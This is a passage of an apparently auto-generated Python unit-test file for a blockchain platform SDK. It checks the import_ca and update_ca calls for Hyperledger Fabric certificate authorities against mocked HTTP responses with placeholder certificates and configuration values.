req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.create_ca(**req_copy)
class TestImportCa():
"""
Test Class for import_ca
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_import_ca_all_params(self):
"""
import_ca()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-ca')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ImportCaBodyMspCa model
import_ca_body_msp_ca_model = {}
import_ca_body_msp_ca_model['name'] = 'org1CA'
import_ca_body_msp_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a ImportCaBodyMspTlsca model
import_ca_body_msp_tlsca_model = {}
import_ca_body_msp_tlsca_model['name'] = 'org1tlsCA'
import_ca_body_msp_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a ImportCaBodyMspComponent model
import_ca_body_msp_component_model = {}
import_ca_body_msp_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
# Construct a dict representation of a ImportCaBodyMsp model
import_ca_body_msp_model = {}
import_ca_body_msp_model['ca'] = import_ca_body_msp_ca_model
import_ca_body_msp_model['tlsca'] = import_ca_body_msp_tlsca_model
import_ca_body_msp_model['component'] = import_ca_body_msp_component_model
# Set up parameter values
display_name = 'Sample CA'
api_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:7054'
msp = import_ca_body_msp_model
id = 'component1'
location = 'ibmcloud'
operations_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443'
tags = ['fabric-ca']
tls_cert = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
# Invoke method
response = service.import_ca(
display_name,
api_url,
msp,
id=id,
location=location,
operations_url=operations_url,
tags=tags,
tls_cert=tls_cert,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['display_name'] == 'Sample CA'
assert req_body['api_url'] == 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:7054'
assert req_body['msp'] == import_ca_body_msp_model
assert req_body['id'] == 'component1'
assert req_body['location'] == 'ibmcloud'
assert req_body['operations_url'] == 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443'
assert req_body['tags'] == ['fabric-ca']
assert req_body['tls_cert'] == 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
@responses.activate
def test_import_ca_value_error(self):
"""
test_import_ca_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-ca')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ImportCaBodyMspCa model
import_ca_body_msp_ca_model = {}
import_ca_body_msp_ca_model['name'] = 'org1CA'
import_ca_body_msp_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a ImportCaBodyMspTlsca model
import_ca_body_msp_tlsca_model = {}
import_ca_body_msp_tlsca_model['name'] = 'org1tlsCA'
import_ca_body_msp_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a ImportCaBodyMspComponent model
import_ca_body_msp_component_model = {}
import_ca_body_msp_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
# Construct a dict representation of a ImportCaBodyMsp model
import_ca_body_msp_model = {}
import_ca_body_msp_model['ca'] = import_ca_body_msp_ca_model
import_ca_body_msp_model['tlsca'] = import_ca_body_msp_tlsca_model
import_ca_body_msp_model['component'] = import_ca_body_msp_component_model
# Set up parameter values
display_name = 'Sample CA'
api_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:7054'
msp = import_ca_body_msp_model
id = 'component1'
location = 'ibmcloud'
operations_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443'
tags = ['fabric-ca']
tls_cert = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"display_name": display_name,
"api_url": api_url,
"msp": msp,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.import_ca(**req_copy)
class TestUpdateCa():
"""
Test Class for update_ca
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_update_ca_all_params(self):
"""
update_ca()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-ca/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigCACors model
config_ca_cors_model = {}
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
# Construct a dict representation of a ConfigCATlsClientauth model
config_ca_tls_clientauth_model = {}
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
# Construct a dict representation of a ConfigCATls model
config_ca_tls_model = {}
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
# Construct a dict representation of a ConfigCACa model
config_ca_ca_model = {}
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
# Construct a dict representation of a ConfigCACrl model
config_ca_crl_model = {}
config_ca_crl_model['expiry'] = '24h'
# Construct a dict representation of a IdentityAttrs model
identity_attrs_model = {}
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
# Construct a dict representation of a ConfigCARegistryIdentitiesItem model
config_ca_registry_identities_item_model = {}
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
# Construct a dict representation of a ConfigCARegistry model
config_ca_registry_model = {}
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
# Construct a dict representation of a ConfigCADbTlsClient model
config_ca_db_tls_client_model = {}
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCADbTls model
config_ca_db_tls_model = {}
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
# Construct a dict representation of a ConfigCADb model
config_ca_db_model = {}
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
# Construct a dict representation of a ConfigCAAffiliations model
config_ca_affiliations_model = {}
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
# Construct a dict representation of a ConfigCACsrKeyrequest model
config_ca_csr_keyrequest_model = {}
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
# Construct a dict representation of a ConfigCACsrNamesItem model
config_ca_csr_names_item_model = {}
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
# Construct a dict representation of a ConfigCACsrCa model
config_ca_csr_ca_model = {}
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
# Construct a dict representation of a ConfigCACsr model
config_ca_csr_model = {}
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
# Construct a dict representation of a ConfigCAIdemix model
config_ca_idemix_model = {}
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigCAIntermediateParentserver model
config_ca_intermediate_parentserver_model = {}
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateEnrollment model
config_ca_intermediate_enrollment_model = {}
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTlsClient model
config_ca_intermediate_tls_client_model = {}
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTls model
config_ca_intermediate_tls_model = {}
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
# Construct a dict representation of a ConfigCAIntermediate model
config_ca_intermediate_model = {}
config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
# Construct a dict representation of a ConfigCACfgIdentities model
config_ca_cfg_identities_model = {}
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
# Construct a dict representation of a ConfigCACfg model
config_ca_cfg_model = {}
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigCAUpdate model
config_ca_update_model = {}
config_ca_update_model['cors'] = config_ca_cors_model
config_ca_update_model['debug'] = False
config_ca_update_model['crlsizelimit'] = 512000
config_ca_update_model['tls'] = config_ca_tls_model
config_ca_update_model['ca'] = config_ca_ca_model
config_ca_update_model['crl'] = config_ca_crl_model
config_ca_update_model['registry'] = config_ca_registry_model
config_ca_update_model['db'] = config_ca_db_model
config_ca_update_model['affiliations'] = config_ca_affiliations_model
config_ca_update_model['csr'] = config_ca_csr_model
config_ca_update_model['idemix'] = config_ca_idemix_model
config_ca_update_model['BCCSP'] = bccsp_model
config_ca_update_model['intermediate'] = config_ca_intermediate_model
config_ca_update_model['cfg'] = config_ca_cfg_model
config_ca_update_model['metrics'] = metrics_model
# Construct a dict representation of a UpdateCaBodyConfigOverride model
update_ca_body_config_override_model = {}
update_ca_body_config_override_model['ca'] = config_ca_update_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a UpdateCaBodyResources model
update_ca_body_resources_model = {}
update_ca_body_resources_model['ca'] = resource_object_model
# Set up parameter values
id = 'testString'
config_override = update_ca_body_config_override_model
replicas = 1
resources = update_ca_body_resources_model
version = '1.4.6-1'
zone = '-'
# Invoke method
response = service.update_ca(
id,
config_override=config_override,
replicas=replicas,
resources=resources,
version=version,
zone=zone,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['config_override'] == update_ca_body_config_override_model
assert req_body['replicas'] == 1
assert req_body['resources'] == update_ca_body_resources_model
assert req_body['version'] == '1.4.6-1'
assert req_body['zone'] == '-'
@responses.activate
def test_update_ca_value_error(self):
"""
test_update_ca_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-ca/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigCACors model
config_ca_cors_model = {}
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
# Construct a dict representation of a ConfigCATlsClientauth model
config_ca_tls_clientauth_model = {}
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
# Construct a dict representation of a ConfigCATls model
config_ca_tls_model = {}
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
# Construct a dict representation of a ConfigCACa model
config_ca_ca_model = {}
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
# Construct a dict representation of a ConfigCACrl model
config_ca_crl_model = {}
config_ca_crl_model['expiry'] = '24h'
# Construct a dict representation of a IdentityAttrs model
identity_attrs_model = {}
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
# Construct a dict representation of a ConfigCARegistryIdentitiesItem model
config_ca_registry_identities_item_model = {}
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
# Construct a dict representation of a ConfigCARegistry model
config_ca_registry_model = {}
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
# Construct a dict representation of a ConfigCADbTlsClient model
config_ca_db_tls_client_model = {}
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCADbTls model
config_ca_db_tls_model = {}
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
# Construct a dict representation of a ConfigCADb model
config_ca_db_model = {}
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
# Construct a dict representation of a ConfigCAAffiliations model
config_ca_affiliations_model = {}
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
# Construct a dict representation of a ConfigCACsrKeyrequest model
config_ca_csr_keyrequest_model = {}
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
# Construct a dict representation of a ConfigCACsrNamesItem model
config_ca_csr_names_item_model = {}
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
# Construct a dict representation of a ConfigCACsrCa model
config_ca_csr_ca_model = {}
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
# Construct a dict representation of a ConfigCACsr model
config_ca_csr_model = {}
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
# Construct a dict representation of a ConfigCAIdemix model
config_ca_idemix_model = {}
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigCAIntermediateParentserver model
config_ca_intermediate_parentserver_model = {}
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateEnrollment model
config_ca_intermediate_enrollment_model = {}
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTlsClient model
config_ca_intermediate_tls_client_model = {}
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTls model
config_ca_intermediate_tls_model = {}
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
# Construct a dict representation of a ConfigCAIntermediate model
config_ca_intermediate_model = {}
